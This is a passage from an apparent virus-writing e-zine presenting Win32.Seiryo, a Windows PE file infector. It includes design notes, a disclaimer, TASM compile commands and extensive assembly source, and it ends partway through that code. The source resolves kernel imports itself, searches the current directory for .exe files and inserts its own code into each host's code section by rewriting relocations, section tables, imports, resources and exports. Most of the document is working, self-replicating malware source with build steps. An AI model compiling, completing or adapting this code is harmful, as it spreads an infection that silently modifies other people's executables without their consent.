Imports: Locates the Kernel, does it's own imports
|
||||
Infects: PE files containing .reloc section by expanding the host's CODE
|
||||
section and putting itself in it (and not setting the write
|
||||
bit)
|
||||
Locates: Files in current directory
|
||||
Compatibility: All tested windows versions
|
||||
Saves Stamps: Yes
|
||||
MultiThreaded: No
|
||||
Polymorphism: None
|
||||
AntiAV / EPO: None
|
||||
SEH Abilities: None
|
||||
Payload: None
|
||||
|
||||
-=( 1 : Win32.Seiryo Design Goals ---------------------------------------- )=-
|
||||
|
||||
The purpose of this virus was to test a relatively new method of allocating
|
||||
space for a virus. Traditionally, the virus is simply appended to the end of
|
||||
the file as either a separate section or tacked onto the last section. This
|
||||
has the problem that usually the entry point to the file is now not the code
|
||||
section, and inevitably program execution leaves the code section.
|
||||
|
||||
This idea was derived from Zombie's Zmist - that is to use the .reloc section.
|
||||
This virus looks for a file with a reloc section, memory maps it, and proceeds
|
||||
to expand the code section to fit the virus. It then copies itself into this
|
||||
space. All the other sections are moved back to make space for the virus, the
|
||||
code section is updated to reflect these changes (thanks to reloc telling you
|
||||
where the data is), and then the entire PE header must be updated. So, how
|
||||
well does this method work?
|
||||
|
||||
Here's a breakdown of what must be done and it's complexity:
|
||||
|
||||
: Calculating the move amounts/new addresses is straight forward.
|
||||
: Using .reloc to update the .text is surprisingly easy
|
||||
|
||||
But:
|
||||
|
||||
: Fixing up EVERY RVA/VA in the PE header is a nightmare, especially with the
|
||||
documentation on the more obscure parts of it being hard to come by. The main
|
||||
stuff that NEEDS to be fixed is:
|
||||
: PE Header (SizeOfImage, etc)
|
||||
: Data Directory
|
||||
: Section Table
|
||||
: Import Tables (HNA, and first thunk too)
|
||||
: .reloc section
|
||||
: Resource Section (else icons disappear - may as well write a
|
||||
prepending virus if you don't)
|
||||
: Export Section (and all that goes with that)
|
||||
: Debug Entries (optional - just zero it)
|
||||
: There are about 5-8 more thing, but they are never used and
|
||||
good documentation on them is scarce
|
||||
|
||||
So, how well does it work? It works ok.
|
||||
|
||||
Well, coding it is lots of work, and the debugging highly unpleasant.
|
||||
Reconstructed files are surprisingly stable providing that the code is
|
||||
correctly debugged. It could well become the preferred method of infection in
|
||||
terms of stealth. The lengthy code, potential bugs, and complexity could be a
|
||||
deterrence for use in an average virus.
|
||||
|
||||
-=( 2 : Win32.Seiryo Design Faults --------------------------------------- )=-
|
||||
|
||||
This is a test virus, so the it's spreading ability is minimal.
|
||||
|
||||
The major drawback to this infection method is that not all files have .reloc
|
||||
sections. In fact, only about half of non-system files, maybe less have one.
|
||||
Thus this method should probably have a backup method of space allocation.
|
||||
|
||||
-=( 3 : Win32.Seiryo Disclaimer ------------------------------------------ )=-
|
||||
|
||||
THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE
|
||||
COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND
|
||||
BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM,
|
||||
YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.
|
||||
|
||||
COPYRIGHT
|
||||
Copyright on materials in this magazine and the information therein and
|
||||
their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated.
|
||||
|
||||
RIGHTS AND LIMITATIONS
|
||||
You have the right to use, copy and distribute the material in this
|
||||
magazine free of charge, for all purposes allowed by your governing
|
||||
laws. You are expressly PROHIBITED from using the material contained
|
||||
herein for any purposes that would cause or would help promote
|
||||
the illegal use of the material.
|
||||
|
||||
NO WARRANTY
|
||||
The information contained within this magazine are provided "as is".
|
||||
FEATHERED SERPENTS do not warranty the accuracy, adequacy,
|
||||
or completeness of given information, and expressly disclaims
|
||||
liability for errors or omissions contained therein. No implied,
|
||||
express, or statutory warranty, is given in conjunction with this magazine.
|
||||
|
||||
LIMITATION OF LIABILITY
|
||||
In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any
|
||||
damages including and without limitation, direct or indirect, special,
|
||||
incidental, or consequential damages, losses, or expenses arising in
|
||||
connection with this magazine, or the use thereof.
|
||||
|
||||
ADDITIONAL DISCLAIMER
|
||||
Computer viruses will spread of their own accord between computer systems, and
|
||||
across international boundaries. They are raw animals with no concern for the
|
||||
law, and for that reason your possession of them makes YOU responsible for the
|
||||
actions they carry out.
|
||||
|
||||
The viruses provided in this magazine are for educational purposes ONLY. They
|
||||
are NOT intended for use in ANY WAY outside of strict, controlled laboratory
|
||||
conditions. If compiled and executed these viruses WILL land you in court(s).
|
||||
|
||||
You will be held responsible for your actions. As source code these viruses
|
||||
are inert and covered by implied freedom of speech laws in some
|
||||
countries. In binary form these viruses are malicious weapons. FEATHERED
|
||||
SERPENTS do not condone the application of these viruses and will NOT be held
|
||||
LIABLE for any MISUSE.
|
||||
|
||||
-=( 4 : Win32.Seiryo Compile Instructions -------------------------------- )=-
|
||||
|
||||
TASM32 5.0 & TLINK32 1.6.71.0
|
||||
|
||||
tasm32 /m /ml Seiryo.asm
|
||||
tlink32 /Tpe /x Seiryo.obj, Seiryo.exe,,import32.lib
|
||||
|
||||
-=( 5 : Win32.Seiryo ----------------------------------------------------- ) `
|
||||
|
||||
%out Assembling file implies acceptance of disclaimer inside source code
|
||||
|
||||
.386
|
||||
.model flat, stdcall
|
||||
warn ; Warnings on
|
||||
|
||||
VIRSIZE equ VirEnd - VirStart
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
INVALID_HANDLE_VALUE equ 0FFFFFFFFh
|
||||
OPEN_EXISTING equ 3
|
||||
FILE_SHARE_WRITE equ 0002h
|
||||
FILE_BEGIN equ 0
|
||||
FILE_MAP_WRITE equ 2
|
||||
GENERIC_READ equ 80000000h
|
||||
GENERIC_WRITE equ 40000000h
|
||||
PAGE_READWRITE equ 00000004h
|
||||
|
||||
WIN32_FIND_DATA struct
|
||||
fd_dwFileAttributes dd 0
|
||||
fd_ftCreationTime dd 0, 0
|
||||
fd_ftLastAccessTime dd 0, 0
|
||||
fd_ftLastWriteTime dd 0, 0
|
||||
fd_nFileSizeHigh dd 0
|
||||
fd_nFileSizeLow dd 0
|
||||
fd_dwReserved0 dd 0
|
||||
fd_dwReserved1 dd 0
|
||||
fd_cFileName db 260 dup(0)
|
||||
fd_cAlternateFileName db 14 dup(0)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
PEHEADER struct
|
||||
ID dd ?
|
||||
Machine dw ?
|
||||
NumberOfSections dw ?
|
||||
TimeDateStamp dd ?
|
||||
PointerToSymbolTable dd ?
|
||||
NumberOfSymbols dd ?
|
||||
SizeOfOptionalHeader dw ?
|
||||
Characteristics dw ?
|
||||
; Optional Header:
|
||||
MagicNumber dw ?
|
||||
MajorLinkerVersion db ?
|
||||
MinorLinkerVersion db ?
|
||||
SizeOfCode dd ?
|
||||
SizeOfInitializedData dd ?
|
||||
SizeOfUninitializedData dd ?
|
||||
AddressOfEntryPoint dd ?
|
||||
BaseOfCode dd ?
|
||||
BaseOfData dd ?
|
||||
ImageBase dd ?
|
||||
SectionAlignment dd ?
|
||||
FileAlignment dd ?
|
||||
MajorOperatingSystemVersion dw ?
|
||||
MinorOperatingSystemVersion dw ?
|
||||
MajorImageVersion dw ?
|
||||
MinorImageVersion dw ?
|
||||
MajorSubsystemVersion dw ?
|
||||
MinorSubsystemVersion dw ?
|
||||
Reserved1 dd ?
|
||||
SizeOfImage dd ?
|
||||
SizeOfHeaders dd ?
|
||||
CheckSum dd ?
|
||||
Subsystem dw ?
|
||||
DllCharacteristics dw ?
|
||||
SizeOfStackReserve dd ?
|
||||
SizeOfStackCommit dd ?
|
||||
SizeOfHeapReserve dd ?
|
||||
SizeOfHeapCommit dd ?
|
||||
LoaderFlags dd ?
|
||||
NumberOfRvaAndSizes dd ?
|
||||
DataDirectory dd 20 dup (?)
|
||||
PEHEADER ends
|
||||
|
||||
; -**************************-
|
||||
; Section Table Entry format
|
||||
; -**************************-
|
||||
|
||||
SECTION struct
|
||||
sec_Name db 8 dup (?)
|
||||
sec_VirtualSize dd ?
|
||||
sec_VirtualAddress dd ?
|
||||
sec_SizeOfRawData dd ?
|
||||
sec_PointerToRawData dd ?
|
||||
sec_PointerToRelocations dd ?
|
||||
sec_PointerToLinenumbers dd ?
|
||||
sec_NumberOfRelocations dw ?
|
||||
sec_NumberOfLineNumbers dw ?
|
||||
sec_Characteristics dd ?
|
||||
SECTION ends
|
||||
; Section Characteristics flags
|
||||
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
SEC_CODE equ 00000020h
|
||||
SEC_INITIALIZED_DATA equ 00000040h
|
||||
SEC_UNINITIALIZED_DATA equ 00000080h
|
||||
SEC_NO_CACHE equ 04000000h
|
||||
SEC_NOT_PAGEABLE equ 08000000h
|
||||
SEC_SHARED equ 10000000h
|
||||
SEC_EXECUTABLE equ 20000000h
|
||||
SEC_READ equ 40000000h
|
||||
SEC_WRITE equ 80000000h
|
||||
|
||||
; -*******************-
|
||||
; Import Table format
|
||||
; -*******************-
|
||||
|
||||
IMPORTTABLE struct
|
||||
imp_Characteristics dd ?
|
||||
imp_DateTimeStamp dd ?
|
||||
imp_ForwarderChain dd ?
|
||||
imp_Name dd ?
|
||||
imp_FirstThunk dd ?
|
||||
IMPORTTABLE ends
|
||||
|
||||
; -*******************-
|
||||
; Export Table format
|
||||
; -*******************-
|
||||
|
||||
EXPORTHEADER struct
|
||||
exp_Characteristics dd ?
|
||||
exp_DateTimeStamp dd ?
|
||||
exp_MajorVersion dw ?
|
||||
exp_MinorVersion dw ?
|
||||
exp_Name dd ?
|
||||
exp_Base dd ?
|
||||
exp_NumberOfFunctions dd ?
|
||||
exp_NumberOfNames dd ?
|
||||
exp_AddressOfFunctions dd ?
|
||||
exp_AddressOfNames dd ?
|
||||
exp_AddressOfNameOrdinals dd ?
|
||||
EXPORTHEADER ends
|
||||
|
||||
; -******************-
|
||||
; Resource Dir Table
|
||||
; -******************-
|
||||
|
||||
RESOURCETABLE struct
|
||||
res_Characteristics dd ?
|
||||
res_DateTimeStamp dd ?
|
||||
res_MajorVersion dw ?
|
||||
res_MinorVersion dw ?
|
||||
res_NumNameEntry dw ?
|
||||
res_NumIDEntry dw ?
|
||||
RESOURCETABLE ends
|
||||
RESOURCEENTRY struct
|
||||
resent_ID dd ?
|
||||
resent_Next dd ?
|
||||
RESOURCEENTRY ends
|
||||
|
||||
; -****************-
|
||||
; Thread Dir Table
|
||||
; -****************-
|
||||
|
||||
THREADTABLE struct
|
||||
thread_StartDataVA dd ?
|
||||
thread_EndDataVA dd ?
|
||||
thread_IndexVA dd ?
|
||||
thread_CallbackTableVA dd ?
|
||||
THREADTABLE ends
|
||||
|
||||
|
||||
|
||||
.DATA
|
||||
dummy db 0
|
||||
|
||||
|
||||
|
||||
; *******
|
||||
; Local Variables
|
||||
; *******
|
||||
AlignPhys equ -3
|
||||
AlignVirtual equ -4
|
||||
VirusRVA equ AlignVirtual-4
|
||||
VirusVA equ VirusRVA-4
|
||||
MoveAmount equ VirusVA-4
|
||||
PhysMove equ MoveAmount-4
|
||||
_FindFirstFileA equ PhysMove-4
|
||||
_CreateFileA equ _FindFirstFileA-4
|
||||
_CreateFileMappingA equ _CreateFileA-4
|
||||
_MapViewOfFile equ _CreateFileMappingA-4
|
||||
_UnmapViewOfFile equ _MapViewOfFile-4
|
||||
_SetFilePointer equ _UnmapViewOfFile-4
|
||||
_SetEndOfFile equ _SetFilePointer-4
|
||||
_SetFileTime equ _SetEndOfFile-4
|
||||
_CloseHandle equ _SetFileTime-4
|
||||
_FindNextFileA equ _CloseHandle-4
|
||||
Imports equ _FindNextFileA ; Label (no -4)
|
||||
FileFind equ Imports-size WIN32_FIND_DATA
|
||||
FileFindHnd equ FileFind-4
|
||||
SizeOfLocals equ -FileFindHnd
|
||||
|
||||
.CODE
|
||||
VirStart:
|
||||
start:
|
||||
push ebp ; Setup locals on stack
|
||||
mov ebp, esp
|
||||
sub esp, SizeOfLocals
|
||||
|
||||
mov edi, [ebp+4]
|
||||
and edi, 0FFFFf000h
|
||||
mov ecx, 128
|
||||
FindKernelLoop:
|
||||
cmp word ptr [edi], 'ZM'
|
||||
je short GotKernel
|
||||
sub edi, 1000h
|
||||
loop FindKernelLoop
|
||||
GotoExitInfector:
|
||||
jmp ExitInfector
|
||||
GotKernel:
|
||||
movzx edx, word ptr [edi+3Ch]
|
||||
add edx, edi
|
||||
cmp dword ptr [edx], 'EP'
|
||||
jne short GotoExitInfector
|
||||
|
||||
mov edx, [edx].DataDirectory ; Get Kernel Exports
|
||||
add edx, edi
|
||||
xor ecx, ecx
|
||||
mov esi, [edx].exp_AddressOfNames
|
||||
add esi, edi
|
||||
FindGetProc:
|
||||
inc ecx
|
||||
cmp ecx, [edx].exp_NumberOfNames
|
||||
jg short GotoExitInfector
|
||||
lodsd
|
||||
add eax, edi
|
||||
cmp [eax], 'PteG'
|
||||
jne short FindGetProc
|
||||
cmp [eax+4], 'Acor'
|
||||
jne short FindGetProc
|
||||
cmp [eax+8], 'erdd'
|
||||
jne short FindGetProc
|
||||
|
||||
mov ebx, [edx].exp_AddressOfNameOrdinals
|
||||
add ebx, edi
|
||||
movzx ecx, word ptr [ebx+2*ecx]
|
||||
sub ecx, [edx].exp_Base
|
||||
mov ebx, [edx].exp_AddressOfFunctions
|
||||
add ebx, edi
|
||||
mov edx, [ebx+4*ecx]
|
||||
add edx, edi
|
||||
|
||||
call PushImportsAddress
|
||||
db 14,'FindNextFileA',0
|
||||
db 12,'CloseHandle',0
|
||||
db 12,'SetFileTime',0
|
||||
db 13,'SetEndOfFile',0
|
||||
db 15,'SetFilePointer',0
|
||||
db 16,'UnmapViewOfFile',0
|
||||
db 14,'MapViewOfFile',0
|
||||
db 19,'CreateFileMappingA',0
|
||||
db 12,'CreateFileA',0
|
||||
db 15,'FindFirstFileA',0
|
||||
db 0
|
||||
PushImportsAddress:
|
||||
pop esi
|
||||
xor ecx, ecx
|
||||
mov ebx, edi
|
||||
lea edi, [ebp+Imports]
|
||||
ImportLoop:
|
||||
mov cl, [esi]
|
||||
inc esi
|
||||
jecxz DoneImports
|
||||
push edx
|
||||
push ecx
|
||||
call edx, ebx, esi
|
||||
or eax, eax
|
||||
jz ExitInfector
|
||||
pop ecx
|
||||
pop edx
|
||||
stosd
|
||||
add esi, ecx
|
||||
jmp short ImportLoop
|
||||
DoneImports:
|
||||
|
||||
lea eax, [ebp+FileFind] ; Find an Exe file
|
||||
push eax
|
||||
call PushFileMask
|
||||
db '*.exe',0
|
||||
PushFileMask:
|
||||
call [ebp+_FindFirstFileA]
|
||||
mov [ebp+FileFindHnd], eax
|
||||
cmp eax, INVALID_HANDLE_VALUE
|
||||
je ExitInfector
|
||||
|
||||
|
||||
InfectNextFile:
|
||||
lea eax, [ebp+FileFind].fd_cFileName ; Get FileName
|
||||
cmp byte ptr [eax], 0 ; use short if no long
|
||||
jne short UseLongFileName
|
||||
lea eax, [ebp+FileFind].fd_cAlternateFileName
|
||||
UseLongFileName:
|
||||
|
||||
call [ebp+_CreateFileA], eax, GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0
|
||||
cmp eax, INVALID_HANDLE_VALUE ; Map the file
|
||||
je FindTheNextFile
|
||||
push eax ; Push FileHandle for close
|
||||
mov ebx, [ebp+FileFind].fd_nFileSizeLow
|
||||
add ebx, VIRSIZE+10000
|
||||
call [ebp+_CreateFileMappingA], eax, 0, PAGE_READWRITE, 0, ebx, 0
|
||||
or eax, eax
|
||||
je CloseAndExitInfector
|
||||
push eax
|
||||
xchg eax, esi
|
||||
call [ebp+_MapViewOfFile], esi, FILE_MAP_WRITE, 0, 0, 0
|
||||
push eax ; Push Memory Addy for close
|
||||
mov esi, eax
|
||||
|
||||
cmp word ptr [eax], 'ZM' ; Check if exe is ok to infect
|
||||
jne InfectableNo
|
||||
cmp word ptr [eax+18h], 40h
|
||||
jb InfectableNo
|
||||
movzx ecx, word ptr [eax+3Ch]
|
||||
add eax, ecx
|
||||
cmp dword ptr [eax], 'EP'
|
||||
jne InfectableNo
|
||||
cmp [eax].NumberOfRvaAndSizes, 10
|
||||
jb InfectableNo
|
||||
cmp [eax].MinorLinkerVersion, 7 ; Infection Marker
|
||||
je InfectableNo
|
||||
|
||||
movzx edx, [eax].SizeOfOptionalHeader
|
||||
lea edx, [eax+edx+18h] ; Start of Section table
|
||||
|
||||
; Check For code section being first
|
||||
test [edx].sec_Characteristics, SEC_CODE
|
||||
jz InfectableNo
|
||||
|
||||
mov byte ptr [ebp+AlignVirtual],1 ; See if Virt aligned
|
||||
mov ebx, [edx].sec_VirtualSize
|
||||
mov ecx, [eax].SectionAlignment
|
||||
dec ecx
|
||||
test ebx, ecx
|
||||
jz short VirtuallyAligned
|
||||
dec byte ptr [ebp+AlignVirtual]
|
||||
VirtuallyAligned:
|
||||
|
||||
mov byte ptr [ebp+AlignPhys],1 ; See if Phys aligned
|
||||
mov edi, [edx].sec_SizeOfRawData
|
||||
mov ecx, [eax].FileAlignment
|
||||
dec ecx
|
||||
test edi, ecx
|
||||
jz short PhysicallyAligned
|
||||
dec byte ptr [ebp+AlignPhys]
|
||||
PhysicallyAligned:
|
||||
cmp ebx, edi ; Which is smaller?
|
||||
jbe short UseVirtualSize ; (i.e. actual size)
|
||||
mov ebx, edi
|
||||
UseVirtualSize:
|
||||
|
||||
mov edi, ebx ; Find Physical move amount
|
||||
add edi, [edx].sec_PointerToRawData
|
||||
lea edi, [edi+ecx+VIRSIZE]
|
||||
not ecx
|
||||
and edi, ecx
|
||||
mov [ebp+PhysMove], edi
|
||||
|
||||
add ebx, [edx].sec_VirtualAddress ; Find VA & RVA of virus
|
||||
mov [ebp+VirusRVA], ebx
|
||||
mov edi, ebx
|
||||
add ebx, [eax].ImageBase
|
||||
mov [ebp+VirusVA], ebx
|
||||
|
||||
movzx ecx, [eax].NumberOfSections ; Code Section First?
|
||||
mov ebx, [edx].sec_VirtualAddress
|
||||
push edx
|
||||
push ecx
|
||||
CheckForFirstSection:
|
||||
cmp ebx, [edx].sec_VirtualAddress
|
||||
ja InfectableNo
|
||||
add edx, size SECTION
|
||||
loop CheckForFirstSection
|
||||
pop ecx
|
||||
pop edx
|
||||
|
||||
dec ecx ; Section 2 is Next?
|
||||
jz short DoneCheckNextSec
|
||||
mov ebx, [edx + size SECTION].sec_PointerToRawData
|
||||
sub [ebp+PhysMove], ebx
|
||||
mov ebx, [edx + size SECTION].sec_VirtualAddress
|
||||
cmp ebx, [eax].AddressOfEntryPoint ; Entry Point in code sec?
|
||||
jbe InfectableNo
|
||||
CheckNextSec:
|
||||
add edx, size SECTION
|
||||
cmp ebx, [edx].sec_VirtualAddress
|
||||
ja InfectableNo
|
||||
loop CheckNextSec
|
||||
|
||||
|
||||
DoneCheckNextSec:
|
||||
add edi, VIRSIZE ; Calculate Virtual Move amount
|
||||
mov ecx, [eax].SectionAlignment
|
||||
dec ecx
|
||||
add edi, ecx
|
||||
not ecx
|
||||
and edi, ecx
|
||||
sub edi, ebx
|
||||
jae short PositiveMoveAmount
|
||||
xor edi, edi
|
||||
PositiveMoveAmount:
|
||||
mov [ebp+MoveAmount], edi
|
||||
|
||||
|
||||
; ************
|
||||
; Goto relocation section
|
||||
|
||||
mov eax, [eax].DataDirectory+40 ; Reloc Offset
|
||||
or eax, eax
|
||||
jz InfectableNo
|
||||
call RVA2Addr
|
||||
mov edi, eax
|
||||
|
||||
; EDI = start of relocation info (struct: repeat of following).
|
||||
; RELOC INFO is:
|
||||
; RVA dd ?
|
||||
; Size dd ? - includes the 8 bytes for this and above field.
|
||||
; - should always be 32bit aligned.
|
||||
; entries dw (Size-8)/2 dup (?)
|
||||
; Rellocs end when next RVA is 0
|
||||
; Each entry's top 4 bits are the type of relocation. The rest of the 12 bits
|
||||
; are an offset from the RVA of the position.
|
||||
; (i.e. address = RVA + (entry & 0x0FFF) )
|
||||
; Currently handles only relocations of types 0 (nop) and 3 (normal)
|
||||
|
||||
MoveRelocLoop:
|
||||
mov eax, [edi]
|
||||
or eax, eax ; If RVA=0 then done
|
||||
je short DoneReloc
|
||||
cmp eax, [ebp+VirusRVA] ; reloc it if < VirusRVA
|
||||
jb short MoveRelocSkip
|
||||
mov ecx, [ebp+MoveAmount]
|
||||
add [edi], ecx
|
||||
MoveRelocSkip:
|
||||
mov ecx, [edi+4]
|
||||
sub ecx, 8
|
||||
shr ecx, 1 ; ecx = number of entries
|
||||
add edi, 8
|
||||
call RVA2Addr
|
||||
mov edx, eax
|
||||
|
||||
InnerRelocLoop:
|
||||
jecxz MoveRelocLoop ; Done block if ecx=0 - do next
|
||||
dec ecx
|
||||
movzx eax, word ptr [edi]
|
||||
inc edi
|
||||
inc edi
|
||||
mov ebx,eax
|
||||
shr ebx, 12 ; ebx = top 4 bits of entry
|
||||
jz short InnerRelocLoop ; if 0, then it's padding
|
||||
cmp ebx, 3
|
||||
jne InfectableNo
|
||||
and ah,0Fh ; remove type
|
||||
mov ebx, [eax+edx] ; reloc if necessary
|
||||
cmp ebx, [ebp+VirusVA]
|
||||
jb short InnerRelocLoop
|
||||
mov ebx, [ebp+MoveAmount]
|
||||
add dword ptr [eax+edx], ebx
|
||||
jmp short InnerRelocLoop
|
||||
|
||||
;RelocError:
|
||||
; int 3
|
||||
; int 3
|
||||
DoneReloc:
|
||||
|
||||
; ************
|
||||
; Move physically
|
||||
; ************
|
||||
|
||||
movzx edx, word ptr [esi+3Ch] ; From the new virus position
|
||||
add edx, esi ; move everything to EOF back
|
||||
mov eax,[ebp+VirusRVA] ; by PhysMove
|
||||
mov [ebp+VirusRVA], eax ; To do this, start at EOF
|
||||
dec eax ; and go backwards to start
|
||||
call RVA2Addr ; (hence std/rep movsb)
|
||||
inc eax
|
||||
mov ecx, esi
|
||||
add ecx, [ebp+FileFind].fd_nFileSizeLow
|
||||
sub ecx, eax
|
||||
xchg eax, ebx
|
||||
push esi
|
||||
lea esi, [ebx+ecx-1]
|
||||
mov eax, [ebp+PhysMove]
|
||||
add [ebp+FileFind].fd_nFileSizeLow, eax
|
||||
lea edi, [esi+eax]
|
||||
std
|
||||
rep movsb
|
||||
cld
|
||||
mov ecx, VIRSIZE ; Copy code into it
|
||||
mov edi, ebx
|
||||
call GetVirStart
|
||||
GetVirStart:
|
||||
pop esi
|
||||
sub esi, GetVirStart-VirStart
|
||||
rep movsb
|
||||
pop esi
|
||||
|
||||
|
||||
; ***********************
|
||||
; Fix RVAs and other
|
||||
; ***********************
|
||||
|
||||
|
||||
; PE Header Fix
|
||||
; Entry Point - should be fine for now
|
||||
; ImageSize
|
||||
mov eax, [ebp+MoveAmount]
|
||||
add [edx].SizeOfImage, eax
|
||||
; SizeOfCode
|
||||
add [edx].SizeOfCode, eax
|
||||
; BaseOfData
|
||||
add [edx].BaseOfData, eax
|
||||
; DataDirectory:
|
||||
mov ecx, [edx].NumberOfRvaAndSizes
|
||||
lea edi, [edx].DataDirectory
|
||||
DataDirLoop:
|
||||
mov eax, [edi]
|
||||
or eax, eax
|
||||
jz short DataDirSkip
|
||||
cmp eax, [ebp+VirusRVA]
|
||||
jb short DataDirSkip
|
||||
add eax, [ebp+MoveAmount]
|
||||
mov [edi], eax
|
||||
DataDirSkip:
|
||||
add edi,8
|
||||
loop DataDirLoop
|
||||
|
||||
; Fix Section Table (edi conviniently points to it now)
|
||||
mov eax, [ebp+VirusRVA]
|
||||
sub eax, [edi].sec_VirtualAddress
|
||||
add eax, VIRSIZE
|
||||
cmp byte ptr [ebp+AlignVirtual],1
|
||||
jne short NoVirtAlign
|
||||
mov ecx, [edx].SectionAlignment
|
||||
dec ecx
|
||||
add eax, ecx
|
||||
not ecx
|
||||
and eax, ecx
|
||||
NoVirtAlign:
|
||||
mov [edi].sec_VirtualSize, eax
|
||||
mov eax, [edi].sec_SizeOfRawData
|
||||
add eax, [ebp+PhysMove]
|
||||
mov [edi].sec_SizeOfRawData, eax
|
||||
|
||||
movzx ecx, [edx].NumberOfSections
|
||||
mov ebx, [ebp+PhysMove]
|
||||
SectionTableFixUp:
|
||||
mov eax, [edi].sec_VirtualAddress
|
||||
cmp eax, [ebp+VirusRVA]
|
||||
jb short NextSecFixUp
|
||||
add eax, [ebp+MoveAmount]
|
||||
mov [edi].sec_VirtualAddress, eax
|
||||
add [edi].sec_PointerToRawData,ebx
|
||||
NextSecFixUp:
|
||||
add edi, size SECTION
|
||||
loop SectionTableFixUp
|
||||
|
||||
; Fix Up Relocation Section - done above (during reloc)
|
||||
|
||||
; Fix up Imports
|
||||
movzx eax, word ptr [esi+3Ch]
|
||||
add eax, esi
|
||||
mov eax, [eax].DataDirectory+8
|
||||
call RVA2Addr
|
||||
xchg eax, edi
|
||||
mov ebx, [ebp+MoveAmount]
|
||||
FixNextImport:
|
||||
mov eax, [edi].imp_Name
|
||||
or eax, eax
|
||||
je short DoneImportFix
|
||||
cmp eax, [ebp+VirusRVA]
|
||||
jb short SkipImpNameFix
|
||||
add [edi].imp_Name, ebx
|
||||
SkipImpNameFix:
|
||||
mov eax, [edi].imp_Characteristics
|
||||
or eax, eax
|
||||
jz short FixFirstThunk
|
||||
cmp eax, [ebp+VirusRVA]
|
||||
jb short SkipImpCharFix
|
||||
add eax, ebx
|
||||
mov [edi].imp_Characteristics, eax
|
||||
SkipImpCharFix:
|
||||
; Fix Characteristic field now
|
||||
call RVA2Addr
|
||||
ImpCharLoop:
|
||||
mov ecx, [eax]
|
||||
or ecx, ecx
|
||||
jz short ImpCharLoopDone
|
||||
js short ImpCharLoopNoFix
|
||||
cmp ecx, [ebp+VirusRVA]
|
||||
jb short ImpCharLoopNoFix
|
||||
add [eax], ebx
|
||||
ImpCharLoopNoFix:
|
||||
add eax, 4
|
||||
jmp short ImpCharLoop
|
||||
ImpCharLoopDone:
|
||||
|
||||
FixFirstThunk:
|
||||
mov eax, [edi].imp_FirstThunk
|
||||
cmp eax, [ebp+VirusRVA]
|
||||
jb short DoneSectionFix
|
||||
add eax, ebx
|
||||
mov [edi].imp_FirstThunk, eax
|
||||
DoneSectionFix:
|
||||
call RVA2Addr
|
||||
ImpThunkLoop:
|
||||
mov ecx, [eax]
|
||||
or ecx, ecx
|
||||
jz short ImpThunkLoopDone
|
||||
js short ImpThunkNoFix
|
||||
cmp ecx, [ebp+VirusRVA]
|
||||
jb short ImpThunkNoFix
|
||||
add dword ptr [eax], ebx
|
||||
ImpThunkNoFix:
|
||||
add eax, 4
|
||||
jmp short ImpThunkLoop
|
||||
ImpThunkLoopDone:
|
||||
add edi, size IMPORTTABLE
|
||||
jmp short FixNextImport
|
||||
DoneImportFix:
|
||||
|
||||
|
||||
; Fix up Resource (2)
|
||||
mov eax, [edx].DataDirectory+(2*8)
|
||||
or eax, eax
|
||||
jz short FixUpNoResources
|
||||
call RVA2Addr
|
||||
push edx
|
||||
mov edx, eax
|
||||
xchg eax, edi
|
||||
mov ebx, [ebp+MoveAmount]
|
||||
call FixupResource
|
||||
pop edx
|
||||
FixUpNoResources:
|
||||
|
||||
;FixUpExports:
|
||||
mov eax, [edx].DataDirectory
|
||||
or eax, eax
|
||||
jz short FixUpNoExports
|
||||
call RVA2Addr
|
||||
push edx
|
||||
mov edx, [ebp+VirusRVA]
|
||||
xchg eax, edi
|
||||
add [edi].exp_Name, ebx ; Fix dll name
|
||||
add [edi].exp_AddressOfFunctions, ebx ; Fix RVA to address Array
|
||||
mov eax, [edi].exp_AddressOfFunctions
|
||||
call RVA2Addr
|
||||
mov ecx, [edi].exp_NumberOfFunctions
|
||||
ExpFixFuncRVAsLoop: ; Not handling ecx=0, who cares
|
||||
cmp [eax], edx
|
||||
jb short ExpFixFuncSkipRVA
|
||||
add [eax], ebx
|
||||
ExpFixFuncSkipRVA:
|
||||
add eax, 4
|
||||
loop ExpFixFuncRVAsLoop
|
||||
add [edi].exp_AddressOfNames, ebx
|
||||
mov eax, [edi].exp_AddressOfNames
|
||||
call RVA2Addr
|
||||
mov ecx, [edi].exp_NumberOfNames
|
||||
ExpFixNameRVAsLoop:
|
||||
cmp [eax], edx
|
||||
jb short ExpFixNameSkipRVA
|
||||
add [eax], ebx
|
||||
ExpFixNameSkipRVA:
|
||||
add eax, 4
|
||||
loop ExpFixNameRVAsLoop
|
||||
add [edi].exp_AddressOfNameOrdinals, ebx
|
||||
pop edx
|
||||
FixUpNoExports:
|
||||
|
||||
xor eax, eax
|
||||
mov [edx].DataDirectory+(6*8), eax ; Kill debug info
|
||||
mov [edx].DataDirectory+(6*8+4), eax ; Kill debug info
|
||||
|
||||
; Fix Thread Storage
|
||||
; - All are VAs - thus they seem to be fixed by fixing the reloc entries.
|
||||
; (at least in my test files)
|
||||
;
|
||||
; mov eax, [edx].DataDirectory+(9*8)
|
||||
; or eax, eax
|
||||
; jz short NoThreadStorage
|
||||
; call RVA2Addr
|
||||
; xchg eax, edi
|
||||
;
|
||||
; mov eax, [edi].thread_StartDataVA
|
||||
; cmp eax, [ebp+VirusVA]
|
||||
; jb short ThreadNoFixStart
|
||||
; add [edi].thread_StartDataVA, ebx
|
||||
;ThreadNoFixStart:
|
||||
; mov eax, [edi].thread_EndDataVA
|
||||
; cmp eax, [ebp+VirusVA]
|
||||
; jb short ThreadNoFixEnd
|
||||
; add [edi].thread_StartDataVA, ebx
|
||||
;ThreadNoFixEnd:
|
||||
; mov eax, [edi].thread_IndexVA
|
||||
; cmp eax, [ebp+VirusVA]
|
||||
; jb short ThreadNoFixIndex
|
||||
; add [edi].thread_IndexVA, ebx
|
||||
;ThreadNoFixIndex:
|
||||
; mov eax, [edi].thread_CallbackTableVA
|
||||
; cmp eax, [ebp+VirusVA]
|
